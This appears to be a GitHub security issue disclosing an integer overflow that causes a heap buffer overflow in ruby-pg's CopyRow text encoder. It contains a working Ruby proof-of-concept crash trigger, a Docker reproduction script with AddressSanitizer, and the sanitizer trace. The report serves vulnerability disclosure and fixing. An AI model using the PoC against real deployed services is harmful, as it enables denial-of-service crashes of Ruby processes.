Skip to content

DFVULN-793: Integer Overflow in PG::TextEncoder::CopyRow Causes Heap Buffer Overflow #714

@larskanis

Description

@larskanis

Summary

PG::TextEncoder::CopyRow doubles an int field length when reserving space for escaped text. A large field wraps that size calculation, the output buffer remains too small, and newline escaping writes past the heap allocation.

Version

Software: ruby-pg
Version: 1.6.3
Commit: 59296b0

Details

The encoder gets a signed int length from the element encoder, then reserves strlen * 2 bytes for worst-case escaping.

strlen = RSTRING_LENINT(subint);
...
PG_RB_STR_ENSURE_CAPA( *intermediate, strlen * 2, current_out, end_capa_ptr );

ext/pg_copy_coder.c:265

The copy loop writes an extra backslash before every newline, carriage return, delimiter, or backslash. With a wrapped capacity, this write runs off the end of the string buffer.

if(*ptr1 == '\\' || *ptr1 == '\n' || *ptr1 == '\r' || *ptr1 == this->delimiter){
	*current_out++ = '\\';
}
*current_out++ = *ptr1;

ext/pg_copy_coder.c:273

The PoC is inline below:

$stdout.sync = true
require "pg"

n = 1 << 30
warn "field_len=#{n}"
small = "A" * 100
large = "\n".b * n
PG::TextEncoder::CopyRow.new.encode([small, large])

Reproduce

Create poc.rb from the inline artifact below, then run this on a machine with Docker:

mkdir -p dfvuln-793 && cp poc.rb dfvuln-793/ && cd dfvuln-793
docker run --rm -v "$PWD":/work -w /tmp ruby:3.3-bookworm bash -lc '
set -eux
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y git build-essential pkg-config libpq-dev gcc llvm
git clone --depth 1 https://github.com/ged/ruby-pg.git src
cd src
git rev-parse HEAD | tee /work/commit.txt
ruby -v | tee /work/ruby-version.txt
bundle config set path vendor/bundle
bundle install
cd ext && ruby extconf.rb && make clean
CC_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CC]]")
CFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[CFLAGS]]")
DLDFLAGS_RB=$(ruby -rrbconfig -e "print RbConfig::CONFIG[%q[DLDFLAGS]]")
make -j"$(nproc)" CFLAGS="$CFLAGS_RB -O0 -g -fsanitize=address -fno-omit-frame-pointer" DLDFLAGS="$DLDFLAGS_RB -fsanitize=address" LDSHARED="$CC_RB -shared -fsanitize=address"
cd /tmp/src && cp ext/pg_ext.so lib/pg_ext.so
ASAN_LIB=$(gcc -print-file-name=libasan.so)
set +e
LD_PRELOAD="$ASAN_LIB" ASAN_OPTIONS=detect_leaks=0:halt_on_error=1:symbolize=1:fast_unwind_on_malloc=0 RUBYLIB=/tmp/src/lib ruby /work/poc.rb > /work/asan.log 2>&1
status=$?
cat /work/asan.log
exit "$status"
'

The reproduced sanitizer stack is included inline below:

==3520==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1
    #0 0xffff9257235c in pg_text_enc_copy_row /tmp/src/ext/pg_copy_coder.c:276
    #1 0xffff9255d4b0 in pg_coder_encode /tmp/src/ext/pg_coder.c:202
0xffff93c397c2 is located 0 bytes to the right of 386-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/src/ext/pg_copy_coder.c:276 in pg_text_enc_copy_row

Inline reproduction artifact(s):

poc.rb

$stdout.sync = true
require "pg"

n = 1 << 30
warn "field_len=#{n}"
small = "A" * 100
large = "\n".b * n
PG::TextEncoder::CopyRow.new.encode([small, large])

Security Impact

This is a heap buffer overflow in COPY text encoding. It can crash the Ruby process when very large attacker-controlled COPY fields are encoded.

Credit

Zheng Yu from depthfirst (depthfirst.com)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions